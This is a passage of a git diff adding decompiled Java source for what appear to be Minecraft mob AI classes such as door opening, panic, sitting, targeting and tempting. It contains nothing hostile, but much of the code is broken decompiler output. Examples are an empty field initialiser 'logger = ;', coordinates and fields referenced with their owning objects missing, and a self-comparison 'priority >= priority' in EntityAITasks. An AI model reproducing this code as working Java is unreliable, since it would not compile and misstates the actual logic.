+  extends EntityAIDoorInteract
+{
+  boolean closeDoor;
+  int closeDoorTemporisation;
+  private static final String __OBFID = "CL_00001603";
+  
+  public EntityAIOpenDoor(EntityLiving p_i1644_1_, boolean p_i1644_2_)
+  {
+    super(p_i1644_1_);
+    theEntity = p_i1644_1_;
+    closeDoor = p_i1644_2_;
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return (closeDoor) && (closeDoorTemporisation > 0) && (super.continueExecuting());
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    closeDoorTemporisation = 20;
+    doorBlock.func_176512_a(theEntity.worldObj, field_179507_b, true);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    if (closeDoor)
+    {
+      doorBlock.func_176512_a(theEntity.worldObj, field_179507_b, false);
+    }
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    closeDoorTemporisation -= 1;
+    super.updateTask();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIOwnerHurtByTarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAIOwnerHurtByTarget.java
new file mode 100644
index 0000000..930f372
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIOwnerHurtByTarget.java
@@ -0,0 +1,61 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityTameable;
+
+public class EntityAIOwnerHurtByTarget extends EntityAITarget
+{
+  EntityTameable theDefendingTameable;
+  EntityLivingBase theOwnerAttacker;
+  private int field_142051_e;
+  private static final String __OBFID = "CL_00001624";
+  
+  public EntityAIOwnerHurtByTarget(EntityTameable p_i1667_1_)
+  {
+    super(p_i1667_1_, false);
+    theDefendingTameable = p_i1667_1_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theDefendingTameable.isTamed())
+    {
+      return false;
+    }
+    
+
+    EntityLivingBase var1 = theDefendingTameable.func_180492_cm();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    theOwnerAttacker = var1.getAITarget();
+    int var2 = var1.getRevengeTimer();
+    return (var2 != field_142051_e) && (isSuitableTarget(theOwnerAttacker, false)) && (theDefendingTameable.func_142018_a(theOwnerAttacker, var1));
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    taskOwner.setAttackTarget(theOwnerAttacker);
+    EntityLivingBase var1 = theDefendingTameable.func_180492_cm();
+    
+    if (var1 != null)
+    {
+      field_142051_e = var1.getRevengeTimer();
+    }
+    
+    super.startExecuting();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIOwnerHurtTarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAIOwnerHurtTarget.java
new file mode 100644
index 0000000..1ac663c
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIOwnerHurtTarget.java
@@ -0,0 +1,61 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityTameable;
+
+public class EntityAIOwnerHurtTarget extends EntityAITarget
+{
+  EntityTameable theEntityTameable;
+  EntityLivingBase theTarget;
+  private int field_142050_e;
+  private static final String __OBFID = "CL_00001625";
+  
+  public EntityAIOwnerHurtTarget(EntityTameable p_i1668_1_)
+  {
+    super(p_i1668_1_, false);
+    theEntityTameable = p_i1668_1_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theEntityTameable.isTamed())
+    {
+      return false;
+    }
+    
+
+    EntityLivingBase var1 = theEntityTameable.func_180492_cm();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    theTarget = var1.getLastAttacker();
+    int var2 = var1.getLastAttackerTime();
+    return (var2 != field_142050_e) && (isSuitableTarget(theTarget, false)) && (theEntityTameable.func_142018_a(theTarget, var1));
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    taskOwner.setAttackTarget(theTarget);
+    EntityLivingBase var1 = theEntityTameable.func_180492_cm();
+    
+    if (var1 != null)
+    {
+      field_142050_e = var1.getLastAttackerTime();
+    }
+    
+    super.startExecuting();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIPanic.java b/src/minecraft/net/minecraft/entity/ai/EntityAIPanic.java
new file mode 100644
index 0000000..86b5f1b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIPanic.java
@@ -0,0 +1,64 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.Vec3;
+
+public class EntityAIPanic extends EntityAIBase
+{
+  private EntityCreature theEntityCreature;
+  protected double speed;
+  private double randPosX;
+  private double randPosY;
+  private double randPosZ;
+  private static final String __OBFID = "CL_00001604";
+  
+  public EntityAIPanic(EntityCreature p_i1645_1_, double p_i1645_2_)
+  {
+    theEntityCreature = p_i1645_1_;
+    speed = p_i1645_2_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if ((theEntityCreature.getAITarget() == null) && (!theEntityCreature.isBurning()))
+    {
+      return false;
+    }
+    
+
+    Vec3 var1 = RandomPositionGenerator.findRandomTarget(theEntityCreature, 5, 4);
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    randPosX = xCoord;
+    randPosY = yCoord;
+    randPosZ = zCoord;
+    return true;
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    theEntityCreature.getNavigator().tryMoveToXYZ(randPosX, randPosY, randPosZ, speed);
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return !theEntityCreature.getNavigator().noPath();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIPlay.java b/src/minecraft/net/minecraft/entity/ai/EntityAIPlay.java
new file mode 100644
index 0000000..cee9e09
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIPlay.java
@@ -0,0 +1,129 @@
+package net.minecraft.entity.ai;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.Vec3;
+
+public class EntityAIPlay extends EntityAIBase
+{
+  private EntityVillager villagerObj;
+  private net.minecraft.entity.EntityLivingBase targetVillager;
+  private double field_75261_c;
+  private int playTime;
+  private static final String __OBFID = "CL_00001605";
+  
+  public EntityAIPlay(EntityVillager p_i1646_1_, double p_i1646_2_)
+  {
+    villagerObj = p_i1646_1_;
+    field_75261_c = p_i1646_2_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (villagerObj.getGrowingAge() >= 0)
+    {
+      return false;
+    }
+    if (villagerObj.getRNG().nextInt(400) != 0)
+    {
+      return false;
+    }
+    
+
+    List var1 = villagerObj.worldObj.getEntitiesWithinAABB(EntityVillager.class, villagerObj.getEntityBoundingBox().expand(6.0D, 3.0D, 6.0D));
+    double var2 = Double.MAX_VALUE;
+    Iterator var4 = var1.iterator();
+    
+    while (var4.hasNext())
+    {
+      EntityVillager var5 = (EntityVillager)var4.next();
+      
+      if ((var5 != villagerObj) && (!var5.isPlaying()) && (var5.getGrowingAge() < 0))
+      {
+        double var6 = var5.getDistanceSqToEntity(villagerObj);
+        
+        if (var6 <= var2)
+        {
+          var2 = var6;
+          targetVillager = var5;
+        }
+      }
+    }
+    
+    if (targetVillager == null)
+    {
+      Vec3 var8 = RandomPositionGenerator.findRandomTarget(villagerObj, 16, 3);
+      
+      if (var8 == null)
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return playTime > 0;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    if (targetVillager != null)
+    {
+      villagerObj.setPlaying(true);
+    }
+    
+    playTime = 1000;
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    villagerObj.setPlaying(false);
+    targetVillager = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    playTime -= 1;
+    
+    if (targetVillager != null)
+    {
+      if (villagerObj.getDistanceSqToEntity(targetVillager) > 4.0D)
+      {
+        villagerObj.getNavigator().tryMoveToEntityLiving(targetVillager, field_75261_c);
+      }
+    }
+    else if (villagerObj.getNavigator().noPath())
+    {
+      Vec3 var1 = RandomPositionGenerator.findRandomTarget(villagerObj, 16, 3);
+      
+      if (var1 == null)
+      {
+        return;
+      }
+      
+      villagerObj.getNavigator().tryMoveToXYZ(xCoord, yCoord, zCoord, field_75261_c);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIRestrictOpenDoor.java b/src/minecraft/net/minecraft/entity/ai/EntityAIRestrictOpenDoor.java
new file mode 100644
index 0000000..ecc3d3d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIRestrictOpenDoor.java
@@ -0,0 +1,85 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.village.Village;
+import net.minecraft.world.World;
+
+public class EntityAIRestrictOpenDoor extends EntityAIBase
+{
+  private EntityCreature entityObj;
+  private net.minecraft.village.VillageDoorInfo frontDoor;
+  private static final String __OBFID = "CL_00001610";
+  
+  public EntityAIRestrictOpenDoor(EntityCreature p_i1651_1_)
+  {
+    entityObj = p_i1651_1_;
+    
+    if (!(p_i1651_1_.getNavigator() instanceof PathNavigateGround))
+    {
+      throw new IllegalArgumentException("Unsupported mob type for RestrictOpenDoorGoal");
+    }
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (entityObj.worldObj.isDaytime())
+    {
+      return false;
+    }
+    
+
+    BlockPos var1 = new BlockPos(entityObj);
+    Village var2 = entityObj.worldObj.getVillageCollection().func_176056_a(var1, 16);
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    
+
+    frontDoor = var2.func_179865_b(var1);
+    return frontDoor != null;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !entityObj.worldObj.isDaytime();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    ((PathNavigateGround)entityObj.getNavigator()).func_179688_b(false);
+    ((PathNavigateGround)entityObj.getNavigator()).func_179691_c(false);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    ((PathNavigateGround)entityObj.getNavigator()).func_179688_b(true);
+    ((PathNavigateGround)entityObj.getNavigator()).func_179691_c(true);
+    frontDoor = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    frontDoor.incrementDoorOpeningRestrictionCounter();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIRestrictSun.java b/src/minecraft/net/minecraft/entity/ai/EntityAIRestrictSun.java
new file mode 100644
index 0000000..d40cc8d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIRestrictSun.java
@@ -0,0 +1,39 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.pathfinding.PathNavigateGround;
+
+public class EntityAIRestrictSun extends EntityAIBase
+{
+  private EntityCreature theEntity;
+  private static final String __OBFID = "CL_00001611";
+  
+  public EntityAIRestrictSun(EntityCreature p_i1652_1_)
+  {
+    theEntity = p_i1652_1_;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    return theEntity.worldObj.isDaytime();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    ((PathNavigateGround)theEntity.getNavigator()).func_179685_e(true);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    ((PathNavigateGround)theEntity.getNavigator()).func_179685_e(false);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy.java b/src/minecraft/net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy.java
new file mode 100644
index 0000000..ae45388
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy.java
@@ -0,0 +1,95 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.Vec3;
+
+public class EntityAIRunAroundLikeCrazy extends EntityAIBase
+{
+  private EntityHorse horseHost;
+  private double field_111178_b;
+  private double field_111179_c;
+  private double field_111176_d;
+  private double field_111177_e;
+  private static final String __OBFID = "CL_00001612";
+  
+  public EntityAIRunAroundLikeCrazy(EntityHorse p_i1653_1_, double p_i1653_2_)
+  {
+    horseHost = p_i1653_1_;
+    field_111178_b = p_i1653_2_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if ((!horseHost.isTame()) && (horseHost.riddenByEntity != null))
+    {
+      Vec3 var1 = RandomPositionGenerator.findRandomTarget(horseHost, 5, 4);
+      
+      if (var1 == null)
+      {
+        return false;
+      }
+      
+
+      field_111179_c = xCoord;
+      field_111176_d = yCoord;
+      field_111177_e = zCoord;
+      return true;
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    horseHost.getNavigator().tryMoveToXYZ(field_111179_c, field_111176_d, field_111177_e, field_111178_b);
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return (!horseHost.getNavigator().noPath()) && (horseHost.riddenByEntity != null);
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    if (horseHost.getRNG().nextInt(50) == 0)
+    {
+      if ((horseHost.riddenByEntity instanceof EntityPlayer))
+      {
+        int var1 = horseHost.getTemper();
+        int var2 = horseHost.getMaxTemper();
+        
+        if ((var2 > 0) && (horseHost.getRNG().nextInt(var2) < var1))
+        {
+          horseHost.setTamedBy((EntityPlayer)horseHost.riddenByEntity);
+          horseHost.worldObj.setEntityState(horseHost, (byte)7);
+          return;
+        }
+        
+        horseHost.increaseTemper(5);
+      }
+      
+      horseHost.riddenByEntity.mountEntity(null);
+      horseHost.riddenByEntity = null;
+      horseHost.makeHorseRearWithSound();
+      horseHost.worldObj.setEntityState(horseHost, (byte)6);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAISit.java b/src/minecraft/net/minecraft/entity/ai/EntityAISit.java
new file mode 100644
index 0000000..919411d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAISit.java
@@ -0,0 +1,68 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityTameable;
+import net.minecraft.pathfinding.PathNavigate;
+
+public class EntityAISit
+  extends EntityAIBase
+{
+  private EntityTameable theEntity;
+  private boolean isSitting;
+  private static final String __OBFID = "CL_00001613";
+  
+  public EntityAISit(EntityTameable p_i1654_1_)
+  {
+    theEntity = p_i1654_1_;
+    setMutexBits(5);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theEntity.isTamed())
+    {
+      return false;
+    }
+    if (theEntity.isInWater())
+    {
+      return false;
+    }
+    if (!theEntity.onGround)
+    {
+      return false;
+    }
+    
+
+    EntityLivingBase var1 = theEntity.func_180492_cm();
+    return (theEntity.getDistanceSqToEntity(var1) < 144.0D) && (var1.getAITarget() != null) ? false : var1 == null ? true : isSitting;
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    theEntity.getNavigator().clearPathEntity();
+    theEntity.setSitting(true);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    theEntity.setSitting(false);
+  }
+  
+
+
+
+  public void setSitting(boolean p_75270_1_)
+  {
+    isSitting = p_75270_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAISwimming.java b/src/minecraft/net/minecraft/entity/ai/EntityAISwimming.java
new file mode 100644
index 0000000..92532bd
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAISwimming.java
@@ -0,0 +1,36 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.pathfinding.PathNavigateGround;
+
+public class EntityAISwimming extends EntityAIBase
+{
+  private EntityLiving theEntity;
+  private static final String __OBFID = "CL_00001584";
+  
+  public EntityAISwimming(EntityLiving p_i1624_1_)
+  {
+    theEntity = p_i1624_1_;
+    setMutexBits(4);
+    ((PathNavigateGround)p_i1624_1_.getNavigator()).func_179693_d(true);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    return (theEntity.isInWater()) || (theEntity.func_180799_ab());
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    if (theEntity.getRNG().nextFloat() < 0.8F)
+    {
+      theEntity.getJumpHelper().setJumping();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAITarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAITarget.java
new file mode 100644
index 0000000..f06671b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAITarget.java
@@ -0,0 +1,252 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityOwnable;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.pathfinding.PathEntity;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathPoint;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import org.apache.commons.lang3.StringUtils;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class EntityAITarget
+  extends EntityAIBase
+{
+  protected final EntityCreature taskOwner;
+  protected boolean shouldCheckSight;
+  private boolean nearbyOnly;
+  private int targetSearchStatus;
+  private int targetSearchDelay;
+  private int targetUnseenTicks;
+  private static final String __OBFID = "CL_00001626";
+  
+  public EntityAITarget(EntityCreature p_i1669_1_, boolean p_i1669_2_)
+  {
+    this(p_i1669_1_, p_i1669_2_, false);
+  }
+  
+  public EntityAITarget(EntityCreature p_i1670_1_, boolean p_i1670_2_, boolean p_i1670_3_)
+  {
+    taskOwner = p_i1670_1_;
+    shouldCheckSight = p_i1670_2_;
+    nearbyOnly = p_i1670_3_;
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    EntityLivingBase var1 = taskOwner.getAttackTarget();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    if (!var1.isEntityAlive())
+    {
+      return false;
+    }
+    
+
+    Team var2 = taskOwner.getTeam();
+    Team var3 = var1.getTeam();
+    
+    if ((var2 != null) && (var3 == var2))
+    {
+      return false;
+    }
+    
+
+    double var4 = getTargetDistance();
+    
+    if (taskOwner.getDistanceSqToEntity(var1) > var4 * var4)
+    {
+      return false;
+    }
+    
+
+    if (shouldCheckSight)
+    {
+      if (taskOwner.getEntitySenses().canSee(var1))
+      {
+        targetUnseenTicks = 0;
+      }
+      else if (++targetUnseenTicks > 60)
+      {
+        return false;
+      }
+    }
+    
+    return (!(var1 instanceof EntityPlayer)) || (!capabilities.disableDamage);
+  }
+  
+
+
+
+  protected double getTargetDistance()
+  {
+    IAttributeInstance var1 = taskOwner.getEntityAttribute(SharedMonsterAttributes.followRange);
+    return var1 == null ? 16.0D : var1.getAttributeValue();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    targetSearchStatus = 0;
+    targetSearchDelay = 0;
+    targetUnseenTicks = 0;
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    taskOwner.setAttackTarget(null);
+  }
+  
+  public static boolean func_179445_a(EntityLiving p_179445_0_, EntityLivingBase p_179445_1_, boolean p_179445_2_, boolean p_179445_3_)
+  {
+    if (p_179445_1_ == null)
+    {
+      return false;
+    }
+    if (p_179445_1_ == p_179445_0_)
+    {
+      return false;
+    }
+    if (!p_179445_1_.isEntityAlive())
+    {
+      return false;
+    }
+    if (!p_179445_0_.canAttackClass(p_179445_1_.getClass()))
+    {
+      return false;
+    }
+    
+
+    Team var4 = p_179445_0_.getTeam();
+    Team var5 = p_179445_1_.getTeam();
+    
+    if ((var4 != null) && (var5 == var4))
+    {
+      return false;
+    }
+    
+
+    if (((p_179445_0_ instanceof IEntityOwnable)) && (StringUtils.isNotEmpty(((IEntityOwnable)p_179445_0_).func_152113_b())))
+    {
+      if (((p_179445_1_ instanceof IEntityOwnable)) && (((IEntityOwnable)p_179445_0_).func_152113_b().equals(((IEntityOwnable)p_179445_1_).func_152113_b())))
+      {
+        return false;
+      }
+      
+      if (p_179445_1_ == ((IEntityOwnable)p_179445_0_).getOwner())
+      {
+        return false;
+      }
+    }
+    else if (((p_179445_1_ instanceof EntityPlayer)) && (!p_179445_2_) && (capabilities.disableDamage))
+    {
+      return false;
+    }
+    
+    return (!p_179445_3_) || (p_179445_0_.getEntitySenses().canSee(p_179445_1_));
+  }
+  
+
+
+
+
+
+
+  protected boolean isSuitableTarget(EntityLivingBase p_75296_1_, boolean p_75296_2_)
+  {
+    if (!func_179445_a(taskOwner, p_75296_1_, p_75296_2_, shouldCheckSight))
+    {
+      return false;
+    }
+    if (!taskOwner.func_180485_d(new BlockPos(p_75296_1_)))
+    {
+      return false;
+    }
+    
+
+    if (nearbyOnly)
+    {
+      if (--targetSearchDelay <= 0)
+      {
+        targetSearchStatus = 0;
+      }
+      
+      if (targetSearchStatus == 0)
+      {
+        targetSearchStatus = (canEasilyReach(p_75296_1_) ? 1 : 2);
+      }
+      
+      if (targetSearchStatus == 2)
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  private boolean canEasilyReach(EntityLivingBase p_75295_1_)
+  {
+    targetSearchDelay = (10 + taskOwner.getRNG().nextInt(5));
+    PathEntity var2 = taskOwner.getNavigator().getPathToEntityLiving(p_75295_1_);
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    
+
+    PathPoint var3 = var2.getFinalPathPoint();
+    
+    if (var3 == null)
+    {
+      return false;
+    }
+    
+
+    int var4 = xCoord - MathHelper.floor_double(posX);
+    int var5 = zCoord - MathHelper.floor_double(posZ);
+    return var4 * var4 + var5 * var5 <= 2.25D;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAITargetNonTamed.java b/src/minecraft/net/minecraft/entity/ai/EntityAITargetNonTamed.java
new file mode 100644
index 0000000..636d63b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAITargetNonTamed.java
@@ -0,0 +1,24 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.base.Predicate;
+import net.minecraft.entity.passive.EntityTameable;
+
+public class EntityAITargetNonTamed extends EntityAINearestAttackableTarget
+{
+  private EntityTameable theTameable;
+  private static final String __OBFID = "CL_00001623";
+  
+  public EntityAITargetNonTamed(EntityTameable p_i45876_1_, Class p_i45876_2_, boolean p_i45876_3_, Predicate p_i45876_4_)
+  {
+    super(p_i45876_1_, p_i45876_2_, 10, p_i45876_3_, false, p_i45876_4_);
+    theTameable = p_i45876_1_;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    return (!theTameable.isTamed()) && (super.shouldExecute());
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAITasks.java b/src/minecraft/net/minecraft/entity/ai/EntityAITasks.java
new file mode 100644
index 0000000..ac4888c
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAITasks.java
@@ -0,0 +1,186 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.profiler.Profiler;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityAITasks
+{
+  private static final Logger logger = ;
+  
+
+  private List taskEntries = Lists.newArrayList();
+  
+
+  private List executingTaskEntries = Lists.newArrayList();
+  
+  private final Profiler theProfiler;
+  
+  private int tickCount;
+  private int tickRate = 3;
+  private static final String __OBFID = "CL_00001588";
+  
+  public EntityAITasks(Profiler p_i1628_1_)
+  {
+    theProfiler = p_i1628_1_;
+  }
+  
+
+
+
+  public void addTask(int p_75776_1_, EntityAIBase p_75776_2_)
+  {
+    taskEntries.add(new EntityAITaskEntry(p_75776_1_, p_75776_2_));
+  }
+  
+
+
+
+  public void removeTask(EntityAIBase p_85156_1_)
+  {
+    Iterator var2 = taskEntries.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityAITaskEntry var3 = (EntityAITaskEntry)var2.next();
+      EntityAIBase var4 = action;
+      
+      if (var4 == p_85156_1_)
+      {
+        if (executingTaskEntries.contains(var3))
+        {
+          var4.resetTask();
+          executingTaskEntries.remove(var3);
+        }
+        
+        var2.remove();
+      }
+    }
+  }
+  
+  public void onUpdateTasks()
+  {
+    theProfiler.startSection("goalSetup");
+    
+
+
+    if (tickCount++ % tickRate == 0)
+    {
+      Iterator var1 = taskEntries.iterator();
+      
+      while (var1.hasNext())
+      {
+        EntityAITaskEntry var2 = (EntityAITaskEntry)var1.next();
+        boolean var3 = executingTaskEntries.contains(var2);
+        
+        if (var3)
+        {
+          if ((!canUse(var2)) || (!canContinue(var2)))
+          {
+
+
+
+            action.resetTask();
+            executingTaskEntries.remove(var2);
+          }
+        }
+        else if ((canUse(var2)) && (action.shouldExecute()))
+        {
+          action.startExecuting();
+          executingTaskEntries.add(var2);
+        }
+      }
+    }
+    else
+    {
+      var1 = executingTaskEntries.iterator();
+      
+      while (var1.hasNext())
+      {
+        EntityAITaskEntry var2 = (EntityAITaskEntry)var1.next();
+        
+        if (!canContinue(var2))
+        {
+          action.resetTask();
+          var1.remove();
+        }
+      }
+    }
+    
+    theProfiler.endSection();
+    theProfiler.startSection("goalTick");
+    Iterator var1 = executingTaskEntries.iterator();
+    
+    while (var1.hasNext())
+    {
+      EntityAITaskEntry var2 = (EntityAITaskEntry)var1.next();
+      action.updateTask();
+    }
+    
+    theProfiler.endSection();
+  }
+  
+
+
+
+  private boolean canContinue(EntityAITaskEntry p_75773_1_)
+  {
+    boolean var2 = action.continueExecuting();
+    return var2;
+  }
+  
+
+
+
+
+  private boolean canUse(EntityAITaskEntry p_75775_1_)
+  {
+    Iterator var2 = taskEntries.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityAITaskEntry var3 = (EntityAITaskEntry)var2.next();
+      
+      if (var3 != p_75775_1_)
+      {
+        if (priority >= priority)
+        {
+          if ((!areTasksCompatible(p_75775_1_, var3)) && (executingTaskEntries.contains(var3)))
+          {
+            return false;
+          }
+        }
+        else if ((!action.isInterruptible()) && (executingTaskEntries.contains(var3)))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  private boolean areTasksCompatible(EntityAITaskEntry p_75777_1_, EntityAITaskEntry p_75777_2_)
+  {
+    return (action.getMutexBits() & action.getMutexBits()) == 0;
+  }
+  
+  class EntityAITaskEntry
+  {
+    public EntityAIBase action;
+    public int priority;
+    private static final String __OBFID = "CL_00001589";
+    
+    public EntityAITaskEntry(int p_i1627_2_, EntityAIBase p_i1627_3_)
+    {
+      priority = p_i1627_2_;
+      action = p_i1627_3_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAITempt.java b/src/minecraft/net/minecraft/entity/ai/EntityAITempt.java
new file mode 100644
index 0000000..16473d5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAITempt.java
@@ -0,0 +1,168 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.world.World;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EntityAITempt
+  extends EntityAIBase
+{
+  private EntityCreature temptedEntity;
+  private double field_75282_b;
+  private double targetX;
+  private double targetY;
+  private double targetZ;
+  private double field_75278_f;
+  private double field_75279_g;
+  private EntityPlayer temptingPlayer;
+  private int delayTemptCounter;
+  private boolean isRunning;
+  private Item field_151484_k;
+  private boolean scaredByPlayerMovement;
+  private boolean field_75286_m;
+  private static final String __OBFID = "CL_00001616";
+  
+  public EntityAITempt(EntityCreature p_i45316_1_, double p_i45316_2_, Item p_i45316_4_, boolean p_i45316_5_)
+  {
+    temptedEntity = p_i45316_1_;
+    field_75282_b = p_i45316_2_;
+    field_151484_k = p_i45316_4_;
+    scaredByPlayerMovement = p_i45316_5_;
+    setMutexBits(3);
+    
+    if (!(p_i45316_1_.getNavigator() instanceof PathNavigateGround))
+    {
+      throw new IllegalArgumentException("Unsupported mob type for TemptGoal");
+    }
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (delayTemptCounter > 0)
+    {
+      delayTemptCounter -= 1;
+      return false;
+    }
+    
+
+    temptingPlayer = temptedEntity.worldObj.getClosestPlayerToEntity(temptedEntity, 10.0D);
+    
+    if (temptingPlayer == null)
+    {
+      return false;
+    }
+    
+
+    ItemStack var1 = temptingPlayer.getCurrentEquippedItem();
+    return var1 != null;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    if (scaredByPlayerMovement)
+    {
+      if (temptedEntity.getDistanceSqToEntity(temptingPlayer) < 36.0D)
+      {
+        if (temptingPlayer.getDistanceSq(targetX, targetY, targetZ) > 0.010000000000000002D)
+        {
+          return false;
+        }
+        
+        if ((Math.abs(temptingPlayer.rotationPitch - field_75278_f) > 5.0D) || (Math.abs(temptingPlayer.rotationYaw - field_75279_g) > 5.0D))
+        {
